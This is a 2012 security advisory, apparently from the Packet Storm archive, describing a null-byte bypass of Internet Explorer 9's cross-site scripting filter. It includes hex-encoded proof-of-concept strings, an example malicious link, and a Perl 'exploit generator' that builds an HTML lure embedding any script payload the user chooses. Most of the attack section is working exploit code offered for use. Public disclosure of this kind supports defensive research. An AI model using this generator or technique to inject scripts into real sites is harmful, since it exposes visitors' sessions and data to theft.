exploit the possibilities

Internet Explorer 9 XSS Filter Bypass

Internet Explorer 9 XSS Filter Bypass
Posted Oct 18, 2012
Authored by Jean Pascal Pereira

Internet Explore 9 suffers from a cross site scripting filter bypass vulnerability.

tags | exploit, xss, bypass
MD5 | f7708b09537e6c28e647be6cd3160012

Internet Explorer 9 XSS Filter Bypass

Change Mirror Download
#################################################
Internet Explorer 9 XSS Filter Bypass
#################################################

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"Internet Explorer (formerly Microsoft Internet Explorer and Windows Internet Explorer, commonly

abbreviated IE or MSIE)
is a series of graphical web browsers developed by Microsoft and included as part of the Microsoft

Windows line of operating
systems, starting in 1995. It was first released as part of the add-on package Plus! for Windows 95

that year. Later versions
were available as free downloads, or in service packs, and included in the OEM service releases of

Windows 95 and later versions of Windows.."

Vendor URI: http://www.microsoft.com

#################################################

Issue: Cross Site Scripting Filter Bypass

-------------------------------------

Description:

The Internet Explorer 9 offers a feature to eliminate suspicious pattern passed to the website by a

parameter.

For example, we have the following script:

-------------------------------------

<?php

echo $_GET['a'];

?>

-------------------------------------

Let's call it "blah.php". Now we access the blah.php by using Internet Explorer 9 and try to execute a

malicious string:

http://localhost/ieb/blah.php?a=<script>alert(1)</script>

After this, we receive the message "Internet Explorer has modified this page to help prevent cross-

site scripting".

The JavaScript won't be executed.

-------------------------------------

Proof Of Concept:

This trick may be known to some of you. Internet Explorer allows stripping tags by inserting

nullbytes.

For example, the following string will be executed:

3C 73 00 63 72 69 70 74 3E 61 6C 65 72 74 28 31 29 3C 2F 73 00 63 72 69 70 74 3E

Which is actually "<s[NULL]cript>alert(1)</s[NULL]cript>".

However, we won't be able to insert the nullbytes directly in the URI. The following example won't

work:

http://localhost/ieb/blah.php?a=<s%00cript>alert(1)</s%00cript>

But there is still another possibility. Grab a hex editor and create a file looking like the example

given below:

<a href='http://localhost/ieb/blah.php?a=<s[NULL]cript>alert(1)</s[NULL]cript>'>Clickme</a>

If you open the file and click the provided link, the script will be executed.

-------------------------------------

Exploit (for the lazy folks):

-------------------------------------

#!/usr/bin/perl

use strict;
use warnings;

# Internet Explorer 9 XSS Filter Bypass Generator
# Credit: Jean Pascal Pereira <pereira[at]secbiz.de>
# http://0xffe4.org

my $target = shift || die("No target defined");
my $payload = shift || die("No payload defined");
my $lnk_txt = shift || "Click me :)";

open(OUT, ">:raw", "out.html");

print OUT "\x3C\x61\x20\x68\x72\x65\x66\x3D\x27";

print OUT $target;

print OUT "\x3C\x73\x00\x63\x72\x69\x70\x74\x3E";

print OUT $payload;

print OUT "\x3C\x2F\x73\x00\x63\x72\x69\x70\x74\x3E\x27\x3E";

print OUT $lnk_txt;

print OUT "\x3C\x2F\x61\x3E";

close(OUT);

-------------------------------------

Example usage is:

iefilter.pl http://www.example.com?var= alert(1)

-------------------------------------

Note:

Exploitation via <a href="ja[NULL]vascript:... links is also possible.

-------------------------------------

Solution:

Currently, no solution is available for this issue.

-------------------------------------

#################################################

< http://0xffe4.org >
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    3 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    33 Files
  • 26
    Oct 26th
    27 Files
  • 27
    Oct 27th
    6 Files
  • 28
    Oct 28th
    28 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close